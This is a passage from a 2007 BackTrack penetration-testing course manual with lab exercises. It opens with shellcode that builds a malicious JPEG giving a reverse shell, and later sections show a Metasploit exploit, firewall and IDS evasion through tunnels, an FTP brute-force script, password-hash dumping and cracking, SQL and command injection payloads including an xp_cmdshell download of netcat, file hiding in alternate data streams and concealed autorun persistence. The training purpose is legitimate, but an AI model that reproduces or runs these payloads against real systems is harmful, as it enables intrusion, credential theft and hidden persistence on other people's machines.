printf "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
printf "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
printf "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
printf "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
printf "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68"
printf "\xc0\xa8\x00\x9b\x66\x68\x00\x50\x66\x53\x89\xe1\x95\x68\xec\xf9"
printf "\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68"
printf "\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3"
printf "\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab"
printf "\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51"
printf "\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6"
printf "\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6"
printf "\xff\x77\xfc\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0";
#********************************************
#end_of_jpeg
#********************************************
printf "\xFF\xD9";
# [Link] [2004-09-23]
BT ~ #
This script creates a malicious JPG file with a reverse shell payload.
This file is sent to the victim and, once opened, exploits the vulnerable GDI
function and executes our code.
245
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
BT ~ # nc -lvp 80
listening on [any] 80 ...
[Link]: inverse host lookup failed: Unknown host
connect to [[Link]] from (UNKNOWN) [[Link]] 1032
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
Windows IP Configuration
10.3 MS06-001
Another horrendous vulnerability in Windows systems was Vulnerability in
Graphics Rendering Engine (WMF). This vulnerability affected all Microsoft
operating systems, from windows 2000 to Vista, and was heavily abused at the
time. To add to this, an exploit for this vulnerability was released before
Microsoft had a chance to review it and create appropriate patches, and the end
users were exposed for approximately two weeks until a patch was issued.
The Metasploit Framework features this exploit.
BT ~ # cd /pentest/exploits/framework2/
BT framework2 # ./msfcli |grep metafile
ie_xp_pfv_metafile Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution
BT framework2 # ./msfcli ie_xp_pfv_metafile O
Exploit Options
===============
246
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Windows IP Configuration
247
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
I was recently involved in a pentest where the organization I was attacking had a
very limited attack surface. There were no websites, no public IPS and even the
organization's mail servers were hosted by a 3rd party. In this scenario I chose to
implement a client side attack.
248
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
10.5 Exercise 20
Lab Requirements:
● BackTrack.
● Internet connection.
2. Attempt to recreate the module in the lab environment, and exploit your
Windows XP SP1 machine with a client side exploit. Use RDP to control the XP
SP1 machine, and browse to the attacking machine.
249
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
This chapter deals with various forms of port redirection and tunneling. These
techniques are really fun to implement and may knock your socks off (especially
when we get to SSH tunneling techniques).
Port tunneling and redirection give us surgical tools to deal with TCP and UDP
traffic. It allows us to control the direction flow of our traffic, which can often be
useful to us in restricted environments.
250
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Imagine you are at the office, which is protected by a firewall with strict
outbound rules, allowing only outbound traffic on port 80 (no content inspection).
You are an IRC addict and must constantly be connected to your favorite IRC
server in order maintain your mental health.
251
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
On your home computer, you can listen on port 80, and redirect any incoming
traffic to that port, to the IRC server, port 6667.
There are several port redirectors for windows platforms, such as fpipe and
winrelay. My favorite port redirector is rinetd, which is present on BackTrack.
We then run rinetd and try to connect to our home computer on port 80.
We see that we are successfully redirected to the IRC server. We can now point
our IRC client to connect to “server” [Link], port 80. Since we are
redirecting traffic trough port 80, it is not blocked by our corporate firewall.
252
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
253
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Stunnel can also be used to encrypt traffic, to help prevent various MITM
attacks, or evade IDS/IPS systems. Let's examine a scenario where we have a
mail server that supports SSL connections, but our mail client has no SSL
support. We are concerned that an attacker might be eavesdropping on our local
LAN, and you would like to add SSL support to your mail client.
254
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
bt ~ # nc -v [Link] 995
[Link] [[Link]] 995 (pop3s) open
^C punt!
bt ~ #
cert = /usr/local/etc/stunnel/[Link]
; Some security enhancements for UNIX systems - comment them out on Win32
chroot = /usr/local/var/lib/stunnel/
setuid = nobody
setgid = nogroup
pid = /[Link]
client = yes
; Service-level configuration
[pop3s]
accept = [Link]:110
connect = [Link]:995
We run Stunnel and should now be able to connect to our SSL enabled mail
server trough port 110 on [Link].
255
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
bt ~ # stunnel
bt ~ # nc -v [Link] 110
localhost [[Link]] 110 (pop3) open
+OK Hello there.
USER myusername
+OK Password required.
PASS mypassword
-ERR Login failed.
QUIT
+OK Better luck next time.
bt ~ #
Several IPS systems recognize Netcat bind and reverse shell network signatures
and are able to stop and kill the connection. In these cases, Stunnel is especially
useful, as IDS systems are rarely able to inspect SSL traffic. Try to implement a
Netcat SSL encrypted session. Notice that the listening Netcat should have
client=no in its [Link].
256
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
11.2.1 Exercise 21
Lab Requirements:
● BackTrack.
● Internet connection.
2. Make an encrypted Netcat bind shell connection between your victim Windows
XP SP1 machine and your attacking computer. Use Stunnel to encrypt the traffic
with SSL.
257
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
[Link]
258
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
● Attacker : [Link]
Our victim has a Netcat bind shell waiting for us on port 3030. For stealth
reasons, we want to connect to that Netcat shell, via a proxy. We can do this via
the CONNECT method:
C:\WINDOWS\system32>ipconfig
ipconfig
Windows IP Configuration
C:\WINDOWS\system32>
259
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
This is what the Netcat connection on the victim machine looks like:
260
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
11.4 ProxyTunnel
As described by its authors, ProxyTunnel is a program that connects stdin and
stdout to a server somewhere on the network, through a standard proxy that
supports the CONNECT method. Please read the following article about
proxytunnel:
[Link]
261
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Let's try reconnecting to our victim Netcat shell, this time using ProxyTunnel:
bt ~ # cd /pentest/tunneling/proxytunnel-1.6.3/
bt proxytunnel-1.6.3 # ./proxytunnel
bt proxytunnel-1.6.3 # proxytunnel -a 80 -p [Link]:8888 -d [Link]:3030
Forked into the background with pid 26608
bt proxytunnel-1.6.3 # nc -v [Link] 80
localhost [[Link]] 80 (http) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>ipconfig
ipconfig
Windows IP Configuration
C:\WINDOWS\system32>
262
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
11.4.1 Exercise 22
Lab Requirements:
● BackTrack.
● Internet connection.
1. If you haven't identified it already, there's another network in the labs. The
“Router” machine connects to it. The IP address range of this network is
172.16.1.X. Try to identify all the machines on the new network, using the HTTP
proxy. Do some research about how this can be done!
2. There's one machine on the remote network which has Terminal Services (port
3389) open. Tunnel your way to that port, and connect to the machine using a
terminal services client. There's an unpublished exploit on the desktop!!!
263
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
[Link]
SSH sessions are capable of creating bi-directional channels which can be used
to forward remote and local connections. This feature allows us to do seemingly
impossible TCP/UDP traffic manipulations.
264
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Imagine an attacker has received a reverse shell from a victim on a non routable
network. This victim also has Remote Desktop (TCP port 3389) enabled on his
machine. The attacker has the username / password for the victim machine
(password dumping / hash cracking, keylogging, etc), and wants to connect to
the victim's remote desktop service. Note that the victim is on a non routable
network, behind NAT.
265
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
The attacker can configure his SSH server to listen on port 80, and can create an
SSH tunnel between the attacker machine and the victim machine where port
3389 is redirected from the victim machine, to the attacker machine. The
attacker can now connect to his [Link] address, on port 3389, and will be
redirected back to the victim machine. Please re-read this carefully.
It's OK if you find this confusing at first. Let is simmer and try the exercises.
In this exercise, we will create a tunnel between Bob and Anne. Bob is behind
NAT, and Anne would like to connect to his RDP service. She asks Bob to create
266
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
an SSH tunnel from his machine to her local computer, running an SSH server.
Bob is running Windows XP and Anne is running Linux. Bob uses the “plink” ssh
client for Windows and creates the tunnel:
Once created, Anne can see that she now has a listening RDP port (3389) on her
local [Link] IP. She can now connect to this IP using Rdesktop, and connected
to Bobs' computer.
267
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
So far, we've traversed firewall rules based on port filters and stateful inspection.
What happens if there's a content inspection device on the network that does not
blindly allow any protocol out of the specified ports? In this case, our previous
outbound SSH connection to port 80 would be blocked since the content
inspection filters would notice that a protocol other than HTTP is trying to get
by.
With a bit of creative thinking we'll see that the combination of SSH tunneling
and ProxyTunnel can overcome many content inspection mechanisms, as our
SSH tunnel would be itself, encapsulated in HTTP or HTTPS.
268
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
In this module, we will discuss four different password attack vectors – Online
password attacks, Offline password attacks memory password attacks, and
physical access attacks.
269
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Notice what happens when we try to log on with wrong credentials to our FTP
server:
bt ~ # ftp [Link]
Connected to [Link].
220 Welcome to Code-Crafters - Ability Server 2.34.
Name ([Link]:root): muts
331 Please send PASS now.
Password:
530 Bad password, please restart from USER.
Login failed.
ftp> quit
221 Thanks for visiting.
bt ~ #
270
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
bt ~ # ftp [Link]
Connected to [Link].
220 Welcome to Code-Crafters - Ability Server 2.34.
Name ([Link]:root): ftp
331 Please send PASS now.
Password:
230- Welcome to Code-Crafters - Ability Server 2.34.
230 User 'ftp' logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> quit
221 Thanks for visiting.
bt ~ #
Having reviewed this information, let's write a simple python script that will
attempt to bruteforce the password for a (known) user - “ftp”.
#!/usr/bin/python
import socket
import re
import sys
def connect(username,password):
s = [Link](socket.AF_INET, socket.SOCK_STREAM)
print "[*] Trying " + username + ":" + password
[Link](('[Link]',21))
data = [Link](1024)
[Link]('USER ' + username + '\r\n')
data = [Link](1024)
[Link]('PASS ' + password + '\r\n')
data = [Link](3)
[Link]('QUIT\r\n')
[Link]()
return data
username = "ftp"
passwords = ["test","backup","password","12345","root","administrator","ftp","admin"]
271
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
This script examines the FTP message given after the login (data = [Link](3)) and
checks to see if it contains the FTP 230 Message (login successful).
Running this tool on our FTP server give use the following result:
bt ~ # ./[Link]
[*] Trying ftp:test
[*] Trying ftp:backup
[*] Trying ftp:password
[*] Trying ftp:12345
[*] Trying ftp:root
[*] Trying ftp:administrator
[*] Trying ftp:ftp
[*] Password found: ftp
bt ~ #
This script performs very poorly as an FTP bruteforce tool and is written solely
for the purpose of programatically explaining the concepts behind password
bruteforce. As you may have noticed, this script checks for username / password
combinations in sequence. One major improvement we could make is to run our
attempts in parallel.
272
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
12.2 Hydra
As described by its authors, THC-Hydra is the best parallized login hacker for
Samba, FTP, POP3, IMAP, Telnet, HTTP Auth, LDAP, NNTP, MySQL, VNC, ICQ,
Socks5, PCNFS, Cisco and more. Hydra Includes SSL support and is part of
Nessus. Hydra supports a huge number of protocols and is probably the most
well known password bruteforce tool.
Type “hydra” in a BackTrack console in order to see the many hydra command
line options.
273
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
274
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
bt ~ # dos2unix words
dos2unix: converting file words to UNIX format ...
bt ~ # cat words |thc-pptp-bruter [Link]
PPTP Connection established.
Hostname '', Vendor 'Microsoft Windows NT', Firmware: 2195
5 passwords tested in 0h 00m 00s (5.00 5.00 c/s)
390 passwords tested in 0h 00m 05s (77.00 78.00 c/s)
789 passwords tested in 0h 00m 10s (79.80 78.90 c/s)
1192 passwords tested in 0h 00m 15s (80.60 79.47 c/s)
1578 passwords tested in 0h 00m 20s (77.20 78.90 c/s)
1648 passwords tested in 0h 00m 20s (83.33 82.40 c/s)
Password is 'manager'
bt ~ #
275
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
276
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
12.3.1 WYD
[Link]
WYD is designed to create a dictionary file from accessible public resources such
as html pages, MS Doc files, MS XLS files, MP3 files, etc. This technique greatly
improves the probability of obtaining a relevant password in our password list.
*
* ./[Link] 0.1 by Max Moser and Martin J. Muench
*
** Done
277
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Systems (Windows, Linux, Cisco IOS) Network Hardware (routers, switches), etc.
[Link]
I often get asked: “If you're already a local administrator on a machine, why do
you need to get password hashes for other, often less privileged users?”
I do this as passwords are often reused throughout the network (and sometimes,
across the Internet!). For example, Bob is a normal user on the Windows network
however, he takes care of all the routers and switches on the network, and he
happens to have used the same password for both resources.
In this situation, dumping the local passwords from a machine and including
them in your password list will usually result in a successful password guess
later on in the attack.
[Link]
278
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
HKEY_LOCAL_MACHINE\SECURITY\SAM\Domains\Account\Users
This is done by using Windows internal function calls to fetch the hashes. Since
these functions require privileged access, it is necessary to first gain the
appropriate access privileges. The Local Security Authority Subsystem (LSASS)
runs with the necessary access privilege, so pwdump uses a technique known as
DLL injection to run under the LSASS process and thereby attain privileged
access to the hash information.
We'll exploit an unpatched Windows 2003 server, upload pwdump and dump the
local user password hashes.
279
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
280
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
C:\WINNT\system32>
281
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Note – In a Framework v2.0 Meterpreter shell, we could have loaded the SAM Dump
Meterpreter extension, and avoided uploading files to disk. In a Meterpreter
shell, type use -m Sam, and then gethashes.
These are LM hashes which can be cracked easily using john the ripper or
rainbowtables.
If you are unfamiliar with LM hashes, please read the following article:
[Link]
JTR can be used to crack LM hashes, as we can see in the following example:
Administrator:500:7E6DA418E261F2E8AAD3B435B51404EE:F938B53B982F22CD6B1C14AE10665480:::
bob:1007:92315C8B485693A7AAD3B435B51404EE:E0C32CDA6F6ECC163F442D002BBA3DAF:::
david:1006:701E323A546B75899F78CD05E5BE4E2E:CCFAFD112C6417E236BE9897692CB019:::
goliath:1008:E9A1D031141501CF4207FD0DF35A59A8:EC7F0289A3B2AE80453E508E746F1BA9:::
samuel:1009:9E3C4A013FF8123DAAD3B435B51404EE:7F1FC5A10925F8CC81AA6B29E5734BAF:::
282
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
The simple passwords (manager, goliath12, babylon, mypass) are cracked in the
first minute – however more complex passwords can take a significantly longer
time to get cracked.
283
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
[Link]
Let's try to crack David's password using RainBowcrack. Please note that in this
example I am using my own local Rainbow Tables. These are not available in
BackTrack (approx 100 GB). We've set up a “RainbowCrack Web Client” for you
to use. Please read more info about this in the exercise.
bt ~ # mv crackme /mnt/tables/
lm_alpha-numeric-symbol32-space#1-7_0_15200x67108864_0.rt:
284
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
...
lm_alpha-numeric-symbol32-space#1-7_0_15200x67108864_1.rt:
...
...
statistics
-------------------------------------------------------
285
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
result
-------------------------------------------------------
localhost tables #
We can see that by using the LM rainbow tables, we cracked the complex, 14
character password “MYP@55w0-rD@#^” in less than 6 minutes.
286
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
12.4.5 Exercise 24
Lab Requirements:
● BackTrack.
● Internet connection.
2. Attempt to crack as many hashes you can get your hands on in the labs (PLEASE
ATTACK ONLY THE LAB SERVERS IN THE IP RANGES DESCRIBED IN THE
README!). Each cracked hash credits you with 1 point. Don't forget the Linux
machines!
[Link]
287
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
If an attacker is able to gain physical access to a machine, chances are that he'll
hack it. In almost every OS or network device, there exists a “physical backdoor”
which allows for manual resetting of a device configuration. We see this in Cisco
routers, Access Points and Operating Systems as well.
We can then modify the SAM with specialized tools and reset passwords to our
liking. Once the Windows machine boots back up, it will have new passwords in
its SAM database.
BT ~ # mount
tmpfs on / type tmpfs (rw)
proc on /proc type proc (rw)
sysfs on /sys type sysfs (rw)
devpts on /dev/pts type devpts (rw,gid=5,mode=620)
/dev/sda1 on /mnt/sda1 type ntfs (ro)
usbfs on /proc/bus/usb type usbfs (rw)
BT ~ #
288
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
In this example, we see that the Windows NTFS partition SDA1 is mounted, with
read only (ro) permissions. Since we need to change the SAM file, we will require
read / write permissions. BackTrack has the fuse NTFS module which can be
used to mount the NTFS partition with rw permissions.
BT ~ # umount /mnt/sda1/
BT ~ # modprobe fuse
BT ~ # ntfsmount /dev/sda1 /mnt/sda1/
BT ~ # mount
tmpfs on / type tmpfs (rw)
proc on /proc type proc (rw)
sysfs on /sys type sysfs (rw)
devpts on /dev/pts type devpts (rw,gid=5,mode=620)
usbfs on /proc/bus/usb type usbfs (rw)
/dev/sda1 on /mnt/sda1 type fuse (rw,nosuid,nodev,default_permissions,allow_other)
BT ~ #
Now we can dump the SAM file using BKHive and SAMdump.
Bootkey: dc155851060590ee807d3c660a437109
BT ~ # samdump2 /mnt/sda1/WINNT/system32/config/sam [Link] >[Link]
Samdump2 ncuomo@[Link]
This product includes cryptographic software written
by Eric Young (eay@[Link])
289
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
BT ~ # chntpw /mnt/sda1/WINNT/system32/config/SAM
chntpw version 0.99.3 040818, (c) Petter N Hagen
Hive's name (from header): <\SystemRoot\System32\Config\SAM>
ROOT KEY at offset: 0x001020 * Subkey indexing type is: 666c <lf>
* = blank the password (This may work better than setting a new password!)
Enter nothing to leave it unchanged
Please enter new password: *
Blanking password!
290
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Windows domain controllers do not store their user passwords in the local SAM,
but in Active Directory. Active Directory can not be manually edited offline, so a
different approach is taken.
[Link]
291
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
[Link]
292
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
293
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
If you are completely unfamiliar with the topic of SQL injection, please take time
to study a bit of SQL syntax, and read up about SQL injection attacks in the
following links:
[Link]
[Link]
We'll start by examining an ASP page using a Microsoft SQL server as a backend.
This login page is vulnerable to SQL injection attacks as id does not filter user
input, and can be used to “inject” additional SQL queries and commands by the
attacker.
294
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Let's take a quick look at the ASP form that deals with the login procedure, and
queries the database for the correct username and password.
<%
set cnn = [Link]("[Link]")
[Link] "PROVIDER=SQLOLEDB;DATA SOURCE=SRV2;User
ID=sa;PWD=password;DATABASE=bankdb"
myUsrName = [Link]("txtLoginID")
myUsrPassword = [Link]("txtPassword")
sSql = "SELECT * FROM tblCustomers where cust_name='" & myUsrName & "' and
cust_password='"&myUsrPassword&"'"
Set rs = [Link]("[Link]")
[Link] sSql, cnn, 3, 3
End If
%>
sSql = "SELECT * FROM tblCustomers where cust_name='" & myUsrName & "' and
cust_password='"&myUsrPassword&"'"
myUsername and myUsrPassword are parameters which are inputed by the user,
and are passed to the ASP application using a POST request form the main login
page.
295
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
If the user would input the username “muts” and password “test”, the SQL query
would look like this:
"SELECT * FROM tblCustomers where cust_name='muts' and cust_password='test'".
However, if the user had malicious intentions, he could also input the username:
“ 'or 1=1-- “. Let's take a look at what this would do to the SQL query:
"SELECT * FROM tblCustomers where cust_name='' or 1=1--' and
cust_password='"&myUsrPassword&"'".
Note that the “--” syntax closes an SQL query, and everything after this line
would be ignored. This leaves us with:
SELECT * FROM tblCustomers where cust_name='' or 1=1--
Since 1=1 always equates to positive, the SQL query will return a true result,
and the user will successfully log in to the system, usually as the first user
configured on the SQL database. This simple attack is known as an “SQL
Authentication Bypass attack.”
296
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
297
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
we will cause an SQL error as the keyword “having” needs the “group by”
operator, since “having” operates on the tables processed by “group by”. This is
part of the error message created by this input:
Error Type:
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'tblCustomers.cust_id' is invalid in the select list because it is not
contained in an aggregate function and there is no GROUP BY clause.
/[Link], line 11
Notice that the error message contains the table name tblCustomers.cust_id.
Now that we know the first column name, we can use this information to retrieve
the rest of the column names. Let's try to find out the next column name, by
inputting the following:
' group by tblCustomers.cust_id having 1=1--
298
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
We see that the final entry produced no error. This means we've gone through all
the columns.
So cust_id is of type varchar. Try finding out the column types for the remaining
tables.
299
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Although we'll get an “Access Denied” page, our query is executed. We'll now try
to login to the web application with the eviluser / evilpass password combination.
300
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
301
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Let's try executing an ipconfig command on the SQL server, and outputting the
results into a browsable text file:
Lastly, we'll try to get a shell from the SQL server. We'll use xp_cmdshell to try
and upload Netcat from a Tftp server.
302
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
303
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
In these cases we can usually bypass client side restrictions by using a local web
proxy. This proxy intercepts the outgoing HTTP request and allows us to edit it,
effectively bypassing all client side restrictions. A convenient proxy present in
BackTrack appears as a Firefox plugin - “Tamper Data”.
304
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
305
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
#!/usr/bin/python
import cgi
import os
form = [Link]()
if (form.has_key("action")):
else:
When the user inputs a valid IP address ([Link]), the python system
[Link] function will look like this:
However, what would happen if the user would input the following command ?
306
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
In this case, the “&” chains the commands and executes them one after the
other. This is the output of the malicious input attempt:
Directory of c:\inetpub\wwwroot
12/21/2006 12:08p
.
12/21/2006 12:08p
..
12/20/2006 09:42p 973 [Link]
03/01/2006 01:10a 634 [Link]
02/26/2006 10:24p images
12/21/2006 09:26a 860 [Link]
12/21/2006 09:23a 850 [Link]
12/21/2006 11:45a 213 [Link]
12/21/2006 11:43a 305 [Link]
12/21/2006 11:43a 305 [Link]
12/21/2006 09:25a 100 [Link]
07/21/2006 05:59p
scripts
11/15/2003 07:55p
_private
06/07/2004 03:35p
_vti_cnf
06/07/2004 03:35p
_vti_pvt
8 File(s) 4,240 bytes
7 Dir(s) 671,744,000 bytes free
Try attacking this machine and gaining a SYSTEM shell on it. Use the whoami
307
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
There are dozens of additional web application attack vectors, which are usually
specific to the database and web server environment. We've barely covered the
basic attack vectors in this module. Please take time to research this topic
independently.
308
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
13.3.1 Exercise 25
Lab Requirements:
● BackTrack.
● Internet connection.
1. Attempt to recreate the SQL Injection module attack in the lab environment by
attacking the web application on the MS SQL server. Go through all the stages of
the module. Identify the vulnerability, enumerate table names, insert a record
(username / password) and receive a reverse shell.
2. Feel free to experiment with different SQL queries and stored procedures as
well. PLEASE DO NOT DROP THE DATABASES OR DAMAGE THEM IN SUCH
A WAY THAT THEY WILL BE INACCESSIBLE TO OTHER STUDENTS.
309
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
In the following chapters you will find reviews of “HouseKeeping” methods and
techniques which are commonly used in Windows environments. These are added
as a reference, as they are not directly related to BackTrack, however they are
related to the Offensive Security field.
310
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
[Link]
I tend to categorize Trojan horses into three main families: Binary Trojans, Open
Source Trojans and World Domination Trojans (bots). These Trojans can further
be categorized as “bind connection” and “reverse connection”, depending on
their connectivity architecture. As we've seen in Netcat, a “reverse connection”
Trojan is able to traverse NAT and essentially connects from the victim to the
attacker.
Binary Trojans are considered extremely unsafe to use as they often contain
backdoors themselves. Several years back there was a popular Trojan called
“Optix Pro”, which was frequently updated and used widely by the hacker
community. A deeper analysis of the Trojan revealed a “Master” password to the
Trojan which was carefully crafted by the authors of Optix. Essentially the
hackers using the Trojan gave access to the Optix authors to each computer the
Trojan was installed on. Several examples of Binary Trojans can be found here:
[Link]
311
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
14.2.1 Spybot
Spybot is an IRC based Trojan. It acts as an IRC client which connects to an IRC
server (either hosted by the attacker or by a 3rd party). The Trojan requires a
password for operation and is able to listen to IRC chat commands as well as
execute commands on the victim machine.
You will need lccwin32 to compile spybot. Sources and lccwin can be found here:
[Link]
14.2.2 Insider
Insider is an HTTP based Trojan which is built for bypassing corporate firewalls
and content inspection systems. The Trojan attempts to make an HTTP GET
request to a predefined web server which contains a list of commands for
execution. The Trojan looks for proxy server addresses in the registry and, if
found, uses the proxy to connect to the web. If proxy authorization is required,
the Trojan will pop up a proxy authentication dialog which will hopefully be filled
by the unsuspecting user.
[Link]
312
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
14.3.1 Rxbot
Rxbot is an IRC based Trojan with “spreading” capabilities. For fear of
uncontrolled spreading, this Trojan will only be reviewed at the source code
level. This trojan has some very interesting anti debugging code, including
vmware checking etc. BE CAREFUL!
[Link]
313
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Let's try using ADS to hide malicious files on a victim machine. Please follow this
example closely:
C:\muts>dir
Volume in drive C has no label.
Volume Serial Number is A0EB-9535
Directory of C:\muts
C:\muts>dir
Volume in drive C has no label.
Volume Serial Number is A0EB-9535
Directory of C:\muts
314
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
C:\muts>del [Link]
C:\muts>dir
Volume in drive C has no label.
Volume Serial Number is A0EB-9535
Directory of C:\muts
C:\muts>start ./[Link]:[Link]
C:\muts>
315
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
15.1.1 Exercise 26
Lab Requirements:
● BackTrack.
● Internet connection.
1. Connect to your Windows XP SP1 client using RDP and attempt to recreate the
module exercise. Start by hiding [Link] inside a txt file.
316
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
2. Fill this key name with a string of 258 characters (A's are fine).
317
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
3. Create an additional string value called “[Link]” and assign it the string
“[Link]”. You should see the following:
4. Press F5 (refresh) and you will see how the key magically disappears.
5. Log off and log back on to the machine, and you should see [Link] being
executed.
318
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
15.2.1 Exercise 27
Lab Requirements:
● BackTrack.
● Internet connection.
1. Connect to your Windows XP SP1 client using RDP and attempt to recreate a
